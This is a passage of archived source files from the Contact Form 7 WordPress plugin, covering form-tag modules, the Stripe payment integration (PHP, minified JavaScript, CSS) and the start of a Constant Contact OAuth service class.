			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => true,
			'select_options' => array(
				'date' => $field_types['date']['display_name'],
			),
		) );

		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );

		$tgg->print( 'min_max', array(
			'type' => 'date',
			'title' => __( 'Range', 'contact-form-7' ),
			'min_option' => 'min:',
			'max_option' => 'max:',
		) );

		$tgg->print( 'default_value', array(
			'type' => 'date',
			'with_placeholder' => false,
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/reflection.php000064400000004420147510273060013624 0ustar00<?php
/**
 * Reflection module
 *
 * @link https://contactform7.com/reflection/
 */


add_action( 'wpcf7_init', 'wpcf7_add_form_tag_reflection', 10, 0 );

/**
 * Registers reflection-related form-tag types.
 */
function wpcf7_add_form_tag_reflection() {
	wpcf7_add_form_tag( 'reflection',
		'wpcf7_reflection_form_tag_handler',
		array(
			'name-attr' => true,
			'display-block' => true,
			'not-for-mail' => true,
		)
	);

	wpcf7_add_form_tag( 'output',
		'wpcf7_output_form_tag_handler',
		array(
			'name-attr' => true,
			'not-for-mail' => true,
		)
	);
}


/**
 * The form-tag handler for the reflection type.
 */
function wpcf7_reflection_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$values = $tag->values ? $tag->values : array( '' );

	if ( ! wpcf7_get_validation_error( $tag->name ) ) {
		$hangover = array_filter( (array) wpcf7_get_hangover( $tag->name ) );

		if ( $hangover ) {
			$values = $hangover;
		}
	}

	$content = array_reduce(
		$values,
		static function ( $carry, $item ) use ( $tag ) {
			$output_tag = sprintf(
				'<output %1$s>%2$s</output>',
				wpcf7_format_atts( array(
					'name' => $tag->name,
					'data-default' => $item,
				) ),
				( '' !== $item ) ? esc_html( $item ) : '&nbsp;'
			);

			return $carry . $output_tag;
		},
		''
	);

	$html = sprintf(
		'<fieldset %1$s>%2$s</fieldset>',
		wpcf7_format_atts( array(
			'data-reflection-of' => $tag->name,
			'class' => $tag->get_class_option(
				wpcf7_form_controls_class( $tag->type )
			),
			'id' => $tag->get_id_option(),
		) ),
		$content
	);

	return $html;
}


/**
 * The form-tag handler for the output type.
 */
function wpcf7_output_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$value = (string) reset( $tag->values );

	if ( ! wpcf7_get_validation_error( $tag->name ) ) {
		$hangover = array_filter( (array) wpcf7_get_hangover( $tag->name ) );

		if ( $hangover ) {
			$value = (string) reset( $hangover );
		}
	}

	$html = sprintf(
		'<output %1$s>%2$s</output>',
		wpcf7_format_atts( array(
			'data-reflection-of' => $tag->name,
			'data-default' => $value,
			'name' => $tag->name,
			'class' => $tag->get_class_option(
				wpcf7_form_controls_class( $tag->type )
			),
			'id' => $tag->get_id_option(),
		) ),
		esc_html( $value )
	);

	return $html;
}
contact-form-7/modules/stripe/stripe.php000064400000015517147510273060014317 0ustar00<?php
/**
 * Stripe module main file
 *
 * @link https://contactform7.com/stripe-integration/
 */

wpcf7_include_module_file( 'stripe/service.php' );
wpcf7_include_module_file( 'stripe/api.php' );


add_action(
	'wpcf7_init',
	'wpcf7_stripe_register_service',
	50, 0
);

/**
 * Registers the Stripe service.
 */
function wpcf7_stripe_register_service() {
	$integration = WPCF7_Integration::get_instance();

	$integration->add_service( 'stripe',
		WPCF7_Stripe::get_instance()
	);
}


add_action(
	'wpcf7_enqueue_scripts',
	'wpcf7_stripe_enqueue_scripts',
	10, 0
);

/**
 * Enqueues scripts and styles for the Stripe module.
 */
function wpcf7_stripe_enqueue_scripts() {
	$service = WPCF7_Stripe::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	wp_enqueue_style( 'wpcf7-stripe',
		wpcf7_plugin_url( 'modules/stripe/style.css' ),
		array(), WPCF7_VERSION, 'all'
	);

	wp_register_script(
		'stripe',
		'https://js.stripe.com/v3/',
		array(),
		null
	);

	$assets = include(
		wpcf7_plugin_path( 'modules/stripe/index.asset.php' )
	);

	$assets = wp_parse_args( $assets, array(
		'dependencies' => array(),
		'version' => WPCF7_VERSION,
	) );

	wp_enqueue_script(
		'wpcf7-stripe',
		wpcf7_plugin_url( 'modules/stripe/index.js' ),
		array_merge(
			$assets['dependencies'],
			array(
				'wp-polyfill',
				'contact-form-7',
				'stripe',
			)
		),
		$assets['version'],
		array( 'in_footer' => true )
	);

	$api_keys = $service->get_api_keys();

	if ( $api_keys['publishable'] ) {
		wp_add_inline_script( 'wpcf7-stripe',
			sprintf(
				'var wpcf7_stripe = %s;',
				wp_json_encode( array(
					'publishable_key' => $api_keys['publishable'],
				), JSON_PRETTY_PRINT )
			),
			'before'
		);
	}
}


add_filter(
	'wpcf7_skip_spam_check',
	'wpcf7_stripe_skip_spam_check',
	10, 2
);

/**
 * Skips the spam check if it is not necessary.
 *
 * @return bool True if the spam check is not necessary.
 */
function wpcf7_stripe_skip_spam_check( $skip_spam_check, $submission ) {
	$service = WPCF7_Stripe::get_instance();

	if ( ! $service->is_active() ) {
		return $skip_spam_check;
	}

	if ( ! empty( $_POST['_wpcf7_stripe_payment_intent'] ) ) {
		$pi_id = trim( $_POST['_wpcf7_stripe_payment_intent'] );
		$payment_intent = $service->api()->retrieve_payment_intent( $pi_id );

		if ( isset( $payment_intent['status'] )
		and ( 'succeeded' === $payment_intent['status'] ) ) {
			$submission->push( 'payment_intent', $pi_id );
		}
	}

	if ( ! empty( $submission->pull( 'payment_intent' ) )
	and $submission->verify_posted_data_hash() ) {
		$skip_spam_check = true;
	}

	return $skip_spam_check;
}


add_action(
	'wpcf7_before_send_mail',
	'wpcf7_stripe_before_send_mail',
	10, 3
);

/**
 * Creates Stripe's Payment Intent.
 */
function wpcf7_stripe_before_send_mail( $contact_form, &$abort, $submission ) {
	$service = WPCF7_Stripe::get_instance();

	if ( ! $service->is_active() ) {
		return;
	}

	$tags = $contact_form->scan_form_tags( array( 'type' => 'stripe' ) );

	if ( ! $tags ) {
		return;
	}

	if ( ! empty( $submission->pull( 'payment_intent' ) ) ) {
		return;
	}

	$tag = $tags[0];
	$amount = $tag->get_option( 'amount', 'int', true );
	$currency = $tag->get_option( 'currency', '[a-zA-Z]{3}', true );

	$payment_intent_params = apply_filters(
		'wpcf7_stripe_payment_intent_parameters',
		array(
			'amount' => $amount ? absint( $amount ) : null,
			'currency' => $currency ? strtolower( $currency ) : null,
			'receipt_email' => $submission->get_posted_data( 'your-email' ),
		)
	);

	$payment_intent = $service->api()->create_payment_intent(
		$payment_intent_params
	);

	if ( $payment_intent ) {
		$submission->add_result_props( array(
			'stripe' => array(
				'payment_intent' => array(
					'id' => $payment_intent['id'],
					'client_secret' => $payment_intent['client_secret'],
				),
			),
		) );

		$submission->set_status( 'payment_required' );

		$submission->set_response(
			__( "Payment is required. Please pay by credit card.", 'contact-form-7' )
		);
	}

	$abort = true;
}


/**
 * Returns payment link URL.
 *
 * @param string $pi_id Payment Intent ID.
 * @return string The URL.
 */
function wpcf7_stripe_get_payment_link( $pi_id ) {
	return sprintf(
		'https://dashboard.stripe.com/payments/%s',
		urlencode( $pi_id )
	);
}


add_filter(
	'wpcf7_special_mail_tags',
	'wpcf7_stripe_smt',
	10, 4
);

/**
 * Registers the [_stripe_payment_link] special mail-tag.
 */
function wpcf7_stripe_smt( $output, $tag_name, $html, $mail_tag = null ) {
	if ( '_stripe_payment_link' === $tag_name ) {
		$submission = WPCF7_Submission::get_instance();

		$pi_id = $submission->pull( 'payment_intent' );

		if ( ! empty( $pi_id ) ) {
			$output = wpcf7_stripe_get_payment_link( $pi_id );
		}
	}

	return $output;
}


add_filter(
	'wpcf7_flamingo_inbound_message_parameters',
	'wpcf7_stripe_add_flamingo_inbound_message_params',
	10, 1
);

/**
 * Adds Stripe-related meta data to Flamingo Inbound Message parameters.
 */
function wpcf7_stripe_add_flamingo_inbound_message_params( $args ) {
	$submission = WPCF7_Submission::get_instance();

	$pi_id = $submission->pull( 'payment_intent' );

	if ( empty( $pi_id ) ) {
		return $args;
	}

	$pi_link = wpcf7_stripe_get_payment_link( $pi_id );

	$meta = (array) $args['meta'];

	$meta['stripe_payment_link'] = $pi_link;

	$args['meta'] = $meta;

	return $args;
}


add_action(
	'wpcf7_init',
	'wpcf7_add_form_tag_stripe',
	10, 0
);

/**
 * Registers the stripe form-tag handler.
 */
function wpcf7_add_form_tag_stripe() {
	wpcf7_add_form_tag(
		'stripe',
		'wpcf7_stripe_form_tag_handler',
		array(
			'display-block' => true,
			'singular' => true,
		)
	);
}


/**
 * Defines the stripe form-tag handler.
 *
 * @return string HTML content that replaces a stripe form-tag.
 */
function wpcf7_stripe_form_tag_handler( $tag ) {
	$card_element = sprintf(
		'<div %s></div>',
		wpcf7_format_atts( array(
			'class' => 'card-element wpcf7-form-control',
			'aria-invalid' => 'false',
		) )
	);

	$card_element = sprintf(
		'<div class="wpcf7-form-control-wrap hidden">%s</div>',
		$card_element
	);

	$button_1_label = __( 'Proceed to checkout', 'contact-form-7' );

	if ( isset( $tag->values[0] ) ) {
		$button_1_label = trim( $tag->values[0] );
	}

	$button_1 = sprintf(
		'<button %1$s>%2$s</button>',
		wpcf7_format_atts( array(
			'type' => 'submit',
			'class' => 'first',
		) ),
		esc_html( $button_1_label )
	);

	$button_2_label = __( 'Complete payment', 'contact-form-7' );

	if ( isset( $tag->values[1] ) ) {
		$button_2_label = trim( $tag->values[1] );
	}

	$button_2 = sprintf(
		'<button %1$s>%2$s</button>',
		wpcf7_format_atts( array(
			'type' => 'button',
			'class' => 'second hidden',
		) ),
		esc_html( $button_2_label )
	);

	$buttons = sprintf(
		'<span class="buttons has-spinner">%1$s %2$s</span>',
		$button_1, $button_2
	);

	return sprintf(
		'<div class="wpcf7-stripe">%1$s %2$s %3$s</div>',
		$card_element,
		$buttons,
		'<input type="hidden" name="_wpcf7_stripe_payment_intent" value="" />'
	);
}
contact-form-7/modules/stripe/service.php000064400000013574147510273060014452 0ustar00<?php

if ( ! class_exists( 'WPCF7_Service' ) ) {
	return;
}

class WPCF7_Stripe extends WPCF7_Service {

	private static $instance;
	private $api_keys;


	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}


	private function __construct() {
		$option = WPCF7::get_option( 'stripe' );

		if ( isset( $option['api_keys']['publishable'] )
		and isset( $option['api_keys']['secret'] ) ) {
			$this->api_keys = array(
				'publishable' => $option['api_keys']['publishable'],
				'secret' => $option['api_keys']['secret'],
			);
		}
	}


	public function get_title() {
		return __( 'Stripe', 'contact-form-7' );
	}


	public function is_active() {
		return (bool) $this->get_api_keys();
	}


	public function api() {
		if ( $this->is_active() ) {
			$api = new WPCF7_Stripe_API( $this->api_keys['secret'] );
			return $api;
		}
	}


	public function get_api_keys() {
		return $this->api_keys;
	}


	public function get_categories() {
		return array( 'payments' );
	}


	public function icon() {
	}


	public function link() {
		echo wpcf7_link(
			'https://stripe.com/',
			'stripe.com'
		);
	}


	protected function menu_page_url( $args = '' ) {
		$args = wp_parse_args( $args, array() );

		$url = menu_page_url( 'wpcf7-integration', false );
		$url = add_query_arg( array( 'service' => 'stripe' ), $url );

		if ( ! empty( $args ) ) {
			$url = add_query_arg( $args, $url );
		}

		return $url;
	}


	protected function save_data() {
		WPCF7::update_option( 'stripe', array(
			'api_keys' => $this->api_keys,
		) );
	}


	protected function reset_data() {
		$this->api_keys = null;
		$this->save_data();
	}


	public function load( $action = '' ) {
		if ( 'setup' == $action and 'POST' == $_SERVER['REQUEST_METHOD'] ) {
			check_admin_referer( 'wpcf7-stripe-setup' );

			if ( ! empty( $_POST['reset'] ) ) {
				$this->reset_data();
				$redirect_to = $this->menu_page_url( 'action=setup' );
			} else {
				$publishable = trim( $_POST['publishable'] ?? '' );
				$secret = trim( $_POST['secret'] ?? '' );

				if ( $publishable and $secret ) {
					$this->api_keys = array(
						'publishable' => $publishable,
						'secret' => $secret,
					);
					$this->save_data();

					$redirect_to = $this->menu_page_url( array(
						'message' => 'success',
					) );
				} else {
					$redirect_to = $this->menu_page_url( array(
						'action' => 'setup',
						'message' => 'invalid',
					) );
				}
			}

			wp_safe_redirect( $redirect_to );
			exit();
		}
	}


	public function admin_notice( $message = '' ) {
		if ( 'invalid' === $message ) {
			wp_admin_notice(
				sprintf(
					'<strong>%1$s</strong>: %2$s',
					esc_html( __( "Error", 'contact-form-7' ) ),
					esc_html( __( "Invalid key values.", 'contact-form-7' ) )
				),
				'type=error'
			);
		}

		if ( 'success' === $message ) {
			wp_admin_notice(
				esc_html( __( "Settings saved.", 'contact-form-7' ) ),
				'type=success'
			);
		}
	}


	public function display( $action = '' ) {
		echo sprintf(
			'<p>%s</p>',
			// https://stripe.com/docs/partners/support#intro
			esc_html( __( "Stripe is a simple and powerful way to accept payments online. Stripe has no setup fees, no monthly fees, and no hidden costs. Millions of businesses rely on Stripe’s software tools to accept payments securely and expand globally.", 'contact-form-7' ) )
		);

		echo sprintf(
			'<p><strong>%s</strong></p>',
			wpcf7_link(
				__( 'https://contactform7.com/stripe-integration/', 'contact-form-7' ),
				__( 'Stripe integration', 'contact-form-7' )
			)
		);

		if ( $this->is_active() ) {
			echo sprintf(
				'<p class="dashicons-before dashicons-yes">%s</p>',
				esc_html( __( "Stripe is active on this site.", 'contact-form-7' ) )
			);
		}

		if ( 'setup' == $action ) {
			$this->display_setup();
		} elseif ( is_ssl() or WP_DEBUG ) {
			echo sprintf(
				'<p><a href="%1$s" class="button">%2$s</a></p>',
				esc_url( $this->menu_page_url( 'action=setup' ) ),
				esc_html( __( 'Setup Integration', 'contact-form-7' ) )
			);
		} else {
			echo sprintf(
				'<p class="dashicons-before dashicons-warning">%s</p>',
				esc_html( __( "Stripe is not available on this site. It requires an HTTPS-enabled site.", 'contact-form-7' ) )
			);
		}
	}


	private function display_setup() {
		$api_keys = $this->get_api_keys();

		if ( $api_keys ) {
			$publishable = $api_keys['publishable'];
			$secret = $api_keys['secret'];
		} else {
			$publishable = '';
			$secret = '';
		}

?>
<form method="post" action="<?php echo esc_url( $this->menu_page_url( 'action=setup' ) ); ?>">
<?php wp_nonce_field( 'wpcf7-stripe-setup' ); ?>
<table class="form-table">
<tbody>
<tr>
	<th scope="row"><label for="publishable"><?php echo esc_html( __( 'Publishable Key', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( $publishable );
			echo sprintf(
				'<input type="hidden" value="%s" id="publishable" name="publishable" />',
				esc_attr( $publishable )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%s" id="publishable" name="publishable" class="regular-text code" />',
				esc_attr( $publishable )
			);
		}
	?></td>
</tr>
<tr>
	<th scope="row"><label for="secret"><?php echo esc_html( __( 'Secret Key', 'contact-form-7' ) ); ?></label></th>
	<td><?php
		if ( $this->is_active() ) {
			echo esc_html( wpcf7_mask_password( $secret ) );
			echo sprintf(
				'<input type="hidden" value="%s" id="secret" name="secret" />',
				esc_attr( $secret )
			);
		} else {
			echo sprintf(
				'<input type="text" aria-required="true" value="%s" id="secret" name="secret" class="regular-text code" />',
				esc_attr( $secret )
			);
		}
	?></td>
</tr>
</tbody>
</table>
<?php
		if ( $this->is_active() ) {
			submit_button(
				_x( 'Remove Keys', 'API keys', 'contact-form-7' ),
				'small', 'reset'
			);
		} else {
			submit_button( __( 'Save Changes', 'contact-form-7' ) );
		}
?>
</form>
<?php
	}
}
contact-form-7/modules/stripe/style.css000064400000000473147510273060014145 0ustar00.wpcf7 .wpcf7-stripe .wpcf7-form-control-wrap {
	margin: .6em 0;
}

.wpcf7 .wpcf7-stripe .wpcf7-form-control {
	display: block;
	background: #f6f7f7;
	padding: 12px 12px;
	border: 1px solid #787c82;
}

.wpcf7 .wpcf7-stripe button:disabled {
	cursor: not-allowed;
}

.wpcf7 .wpcf7-stripe .hidden {
	display: none;
}
contact-form-7/modules/stripe/index.js000064400000007001147510273060013732 0ustar00document.addEventListener("DOMContentLoaded",(e=>{const t=()=>{const e=document.querySelectorAll("form.wpcf7-form .wpcf7-stripe");for(let t=0;t<e.length;t++){let r=e[t];r.querySelector("button").disabled=!0;let i=document.createElement("span");i.setAttribute("class","wpcf7-not-valid-tip"),i.insertAdjacentText("beforeend","This form includes a payment widget that requires a modern browser to work."),r.appendChild(i)}};if(void 0===window.wpcf7_stripe)return console.error("window.wpcf7_stripe is not defined."),void t();if("function"!=typeof window.Stripe)return console.error("window.Stripe is not defined."),void t();if("function"!=typeof wpcf7.submit)return console.error("wpcf7.submit is not defined."),void t();const r=Stripe(wpcf7_stripe.publishable_key),i=r.elements();document.addEventListener("wpcf7submit",(e=>{const t=e.detail.unitTag,s=`${t}-ve-stripe-card-element`,n=document.querySelector(`#${t} form`),o=n.closest(".wpcf7").querySelector(".screen-reader-response"),d=n.querySelector(".wpcf7-stripe .wpcf7-form-control-wrap"),c=n.querySelector(".wpcf7-stripe button.first"),a=n.querySelector(".wpcf7-stripe button.second"),l=n.querySelector('[name="_wpcf7_stripe_payment_intent"]');if(!l)return;l.setAttribute("value","");const u=e=>{const t=o.querySelector("ul"),r=t.querySelector(`li#${s}`);r&&r.remove();const i=document.createElement("li");i.setAttribute("id",s),i.insertAdjacentText("beforeend",e.message),t.appendChild(i)},p=e=>{const t=d.querySelector(".wpcf7-form-control");t.classList.add("wpcf7-not-valid"),t.setAttribute("aria-describedby",s);const r=document.createElement("span");r.setAttribute("class","wpcf7-not-valid-tip"),r.setAttribute("aria-hidden","true"),r.insertAdjacentText("beforeend",e.message),d.appendChild(r),d.querySelectorAll("[aria-invalid]").forEach((e=>{e.setAttribute("aria-invalid","true")})),t.closest(".use-floating-validation-tip")&&(t.addEventListener("focus",(e=>{r.setAttribute("style","display: none")})),r.addEventListener("mouseover",(e=>{r.setAttribute("style","display: none")})))},f=()=>{o.querySelectorAll(`ul li#${s}`).forEach((e=>{e.remove()})),d.querySelectorAll(".wpcf7-not-valid-tip").forEach((e=>{e.remove()})),d.querySelectorAll("[aria-invalid]").forEach((e=>{e.setAttribute("aria-invalid","false")})),d.querySelectorAll(".wpcf7-form-control").forEach((e=>{e.removeAttribute("aria-describedby"),e.classList.remove("wpcf7-not-valid")}))};if("payment_required"===e.detail.status){const s=e.detail.apiResponse.stripe.payment_intent;s.id&&l.setAttribute("value",s.id);const o=i.getElement("card")||i.create("card");o.mount(`#${t} .wpcf7-stripe .card-element`),o.clear(),d.classList.remove("hidden"),c.classList.add("hidden"),a.classList.remove("hidden"),a.disabled=!0,o.addEventListener("change",(e=>{if(f(),e.error){const t={message:e.error.message};u(t),p(t),a.disabled=!0}else a.disabled=!1})),a.addEventListener("click",(e=>{f(),a.disabled=!0,n.classList.add("submitting"),wpcf7.blocked||r.confirmCardPayment(s.client_secret,{payment_method:{card:o}}).then((e=>{if(e.error){e.error.decline_code&&["fraudulent","lost_card","merchant_blacklist","pickup_card","restricted_card","security_violation","service_not_allowed","stolen_card","transaction_not_allowed"].includes(e.error.decline_code)&&(wpcf7.blocked=!0),n.classList.remove("submitting");const t={message:e.error.message};u(t),p(t)}else"succeeded"===e.paymentIntent.status&&wpcf7.submit(n)}))}))}else d.classList.add("hidden"),c.classList.remove("hidden"),a.classList.add("hidden"),["mail_sent","mail_failed"].includes(e.detail.status)&&(c.disabled=!0)}))}));contact-form-7/modules/stripe/api.php000064400000006667147510273060013570 0ustar00<?php

/**
 * Class for the Stripe API.
 *
 * @link https://stripe.com/docs/api
 */
class WPCF7_Stripe_API {

	const api_version = '2022-11-15';
	const partner_id = 'pp_partner_HHbvqLh1AaO7Am';
	const app_name = 'WordPress Contact Form 7';
	const app_url = 'https://contactform7.com/stripe-integration/';

	private $secret;


	/**
	 * Constructor.
	 *
	 * @param string $secret Secret key.
	 */
	public function __construct( $secret ) {
		$this->secret = $secret;
	}


	/**
	 * Sends a debug information for a remote request to the PHP error log.
	 *
	 * @param string $url URL to retrieve.
	 * @param array $request Request arguments.
	 * @param array|WP_Error $response The response or WP_Error on failure.
	 */
	private function log( $url, $request, $response ) {
		wpcf7_log_remote_request( $url, $request, $response );
	}


	/**
	 * Returns default set of HTTP request headers used for Stripe API.
	 *
	 * @link https://stripe.com/docs/building-plugins#setappinfo
	 *
	 * @return array An associative array of headers.
	 */
	private function default_headers() {
		$app_info = array(
			'name' => self::app_name,
			'partner_id' => self::partner_id,
			'url' => self::app_url,
			'version' => WPCF7_VERSION,
		);

		$ua = array(
			'lang' => 'php',
			'lang_version' => PHP_VERSION,
			'application' => $app_info,
		);

		$headers = array(
			'Authorization' => sprintf( 'Bearer %s', $this->secret ),
			'Stripe-Version' => self::api_version,
			'X-Stripe-Client-User-Agent' => wp_json_encode( $ua ),
			'User-Agent' => sprintf(
				'%1$s/%2$s (%3$s)',
				self::app_name,
				WPCF7_VERSION,
				self::app_url
			),
		);

		return $headers;
	}


	/**
	 * Creates a Payment Intent.
	 *
	 * @link https://stripe.com/docs/api/payment_intents/create
	 *
	 * @param string|array $args Optional. Arguments to control behavior.
	 * @return array|bool An associative array if 200 OK, false otherwise.
	 */
	public function create_payment_intent( $args = '' ) {
		$args = wp_parse_args( $args, array(
			'amount' => 0,
			'currency' => '',
			'receipt_email' => '',
		) );

		if ( ! is_email( $args['receipt_email'] ) ) {
			unset( $args['receipt_email'] );
		}

		$endpoint = 'https://api.stripe.com/v1/payment_intents';

		$request = array(
			'headers' => $this->default_headers(),
			'body' => $args,
		);

		$response = wp_remote_post( sanitize_url( $endpoint ), $request );

		if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}

			return false;
		}

		$response_body = wp_remote_retrieve_body( $response );
		$response_body = json_decode( $response_body, true );

		return $response_body;
	}


	/**
	 * Retrieve a Payment Intent.
	 *
	 * @link https://stripe.com/docs/api/payment_intents/retrieve
	 *
	 * @param string $id Payment Intent identifier.
	 * @return array|bool An associative array if 200 OK, false otherwise.
	 */
	public function retrieve_payment_intent( $id ) {
		$endpoint = sprintf(
			'https://api.stripe.com/v1/payment_intents/%s',
			urlencode( $id )
		);

		$request = array(
			'headers' => $this->default_headers(),
		);

		$response = wp_remote_get( sanitize_url( $endpoint ), $request );

		if ( 200 != wp_remote_retrieve_response_code( $response ) ) {
			if ( WP_DEBUG ) {
				$this->log( $endpoint, $request, $response );
			}

			return false;
		}

		$response_body = wp_remote_retrieve_body( $response );
		$response_body = json_decode( $response_body, true );

		return $response_body;
	}

}
contact-form-7/modules/stripe/index.asset.php000064400000000121147510273060015217 0ustar00<?php

return array(
	'dependencies' => array(),
	'version' => WPCF7_VERSION,
);
contact-form-7/modules/textarea.php000064400000011613147510273060013311 0ustar00<?php
/**
** A base module for [textarea] and [textarea*]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_textarea', 10, 0 );

function wpcf7_add_form_tag_textarea() {
	wpcf7_add_form_tag( array( 'textarea', 'textarea*' ),
		'wpcf7_textarea_form_tag_handler', array( 'name-attr' => true )
	);
}

function wpcf7_textarea_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$validation_error = wpcf7_get_validation_error( $tag->name );

	$class = wpcf7_form_controls_class( $tag->type );

	if ( $validation_error ) {
		$class .= ' wpcf7-not-valid';
	}

	$atts = array();

	$atts['cols'] = $tag->get_cols_option( '40' );
	$atts['rows'] = $tag->get_rows_option( '10' );
	$atts['maxlength'] = $tag->get_maxlength_option( '2000' );
	$atts['minlength'] = $tag->get_minlength_option();

	if ( $atts['maxlength'] and $atts['minlength']
	and $atts['maxlength'] < $atts['minlength'] ) {
		unset( $atts['maxlength'], $atts['minlength'] );
	}

	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();
	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
	$atts['readonly'] = $tag->has_option( 'readonly' );

	$atts['autocomplete'] = $tag->get_option(
		'autocomplete', '[-0-9a-zA-Z]+', true
	);

	if ( $tag->is_required() ) {
		$atts['aria-required'] = 'true';
	}

	if ( $validation_error ) {
		$atts['aria-invalid'] = 'true';
		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
			$tag->name
		);
	} else {
		$atts['aria-invalid'] = 'false';
	}

	$value = empty( $tag->content )
		? (string) reset( $tag->values )
		: $tag->content;

	if ( $tag->has_option( 'placeholder' )
	or $tag->has_option( 'watermark' ) ) {
		$atts['placeholder'] = $value;
		$value = '';
	}

	$value = $tag->get_default_option( $value );

	$value = wpcf7_get_hangover( $tag->name, $value );

	$atts['name'] = $tag->name;

	$html = sprintf(
		'<span class="wpcf7-form-control-wrap" data-name="%1$s"><textarea %2$s>%3$s</textarea>%4$s</span>',
		esc_attr( $tag->name ),
		wpcf7_format_atts( $atts ),
		esc_textarea( $value ),
		$validation_error
	);

	return $html;
}


add_action(
	'wpcf7_swv_create_schema',
	'wpcf7_swv_add_textarea_rules',
	10, 2
);

function wpcf7_swv_add_textarea_rules( $schema, $contact_form ) {
	$tags = $contact_form->scan_form_tags( array(
		'basetype' => array( 'textarea' ),
	) );

	foreach ( $tags as $tag ) {
		if ( $tag->is_required() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'required', array(
					'field' => $tag->name,
					'error' => wpcf7_get_message( 'invalid_required' ),
				) )
			);
		}

		if ( $minlength = $tag->get_minlength_option() ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'minlength', array(
					'field' => $tag->name,
					'threshold' => absint( $minlength ),
					'error' => wpcf7_get_message( 'invalid_too_short' ),
				) )
			);
		}

		if ( $maxlength = $tag->get_maxlength_option( '2000' ) ) {
			$schema->add_rule(
				wpcf7_swv_create_rule( 'maxlength', array(
					'field' => $tag->name,
					'threshold' => absint( $maxlength ),
					'error' => wpcf7_get_message( 'invalid_too_long' ),
				) )
			);
		}
	}
}


/* Tag generator */

add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_textarea', 20, 0 );

function wpcf7_add_tag_generator_textarea() {
	$tag_generator = WPCF7_TagGenerator::get_instance();

	$tag_generator->add( 'textarea',
		__( 'text area', 'contact-form-7' ),
		'wpcf7_tag_generator_textarea',
	 	array( 'version' => '2' )
	);
}

function wpcf7_tag_generator_textarea( $contact_form, $options ) {
	$field_types = array(
		'textarea' => array(
			'display_name' => __( 'Text area', 'contact-form-7' ),
			'heading' => __( 'Text area form-tag generator', 'contact-form-7' ),
			'description' => __( 'Generates a form-tag for a <a href="https://contactform7.com/text-fields/">multi-line plain text input area</a>.', 'contact-form-7' ),
		),
	);

	$tgg = new WPCF7_TagGeneratorGenerator( $options['content'] );

?>
<header class="description-box">
	<h3><?php
		echo esc_html( $field_types['textarea']['heading'] );
	?></h3>

	<p><?php
		$description = wp_kses(
			$field_types['textarea']['description'],
			array(
				'a' => array( 'href' => true ),
				'strong' => array(),
			),
			array( 'http', 'https' )
		);

		echo $description;
	?></p>
</header>

<div class="control-box">
	<?php
		$tgg->print( 'field_type', array(
			'with_required' => true,
			'select_options' => array(
				'textarea' => $field_types['textarea']['display_name'],
			),
		) );

		$tgg->print( 'field_name' );

		$tgg->print( 'class_attr' );

		$tgg->print( 'min_max', array(
			'title' => __( 'Length', 'contact-form-7' ),
			'min_option' => 'minlength:',
			'max_option' => 'maxlength:',
		) );

		$tgg->print( 'default_value', array(
			'with_placeholder' => true,
			'use_content' => true,
		) );
	?>
</div>

<footer class="insert-box">
	<?php
		$tgg->print( 'insert_box_content' );

		$tgg->print( 'mail_tag_tip' );
	?>
</footer>
<?php
}
contact-form-7/modules/hidden.php000064400000001410147510273060012721 0ustar00<?php

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_hidden', 10, 0 );

function wpcf7_add_form_tag_hidden() {
	wpcf7_add_form_tag( 'hidden',
		'wpcf7_hidden_form_tag_handler',
		array(
			'name-attr' => true,
			'display-hidden' => true,
		)
	);
}

function wpcf7_hidden_form_tag_handler( $tag ) {
	if ( empty( $tag->name ) ) {
		return '';
	}

	$atts = array();

	$class = wpcf7_form_controls_class( $tag->type );
	$atts['class'] = $tag->get_class_option( $class );
	$atts['id'] = $tag->get_id_option();

	$value = (string) reset( $tag->values );
	$value = $tag->get_default_option( $value );
	$atts['value'] = $value;

	$atts['type'] = 'hidden';
	$atts['name'] = $tag->name;
	$atts = wpcf7_format_atts( $atts );

	$html = sprintf( '<input %s />', $atts );
	return $html;
}
contact-form-7/modules/response.php000064400000000714147510273060013332 0ustar00<?php
/**
** A base module for [response]
**/

/* form_tag handler */

add_action( 'wpcf7_init', 'wpcf7_add_form_tag_response', 10, 0 );

function wpcf7_add_form_tag_response() {
	wpcf7_add_form_tag( 'response',
		'wpcf7_response_form_tag_handler',
		array(
			'display-block' => true,
		)
	);
}

function wpcf7_response_form_tag_handler( $tag ) {
	if ( $contact_form = wpcf7_get_current_contact_form() ) {
		return $contact_form->form_response_output();
	}
}
contact-form-7/modules/constant-contact/service.php000064400000030103147510273060016411 0ustar00<?php

if ( ! class_exists( 'WPCF7_Service_OAuth2' ) ) {
	return;
}

class WPCF7_ConstantContact extends WPCF7_Service_OAuth2 {

	const service_name = 'constant_contact';

	const authorization_endpoint
		= 'https://authz.constantcontact.com/oauth2/default/v1/authorize';

	const token_endpoint
		= 'https://authz.constantcontact.com/oauth2/default/v1/token';

	private static $instance;
	protected $contact_lists = array();

	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	private function __construct() {
		$this->authorization_endpoint = self::authorization_endpoint;
		$this->token_endpoint = self::token_endpoint;

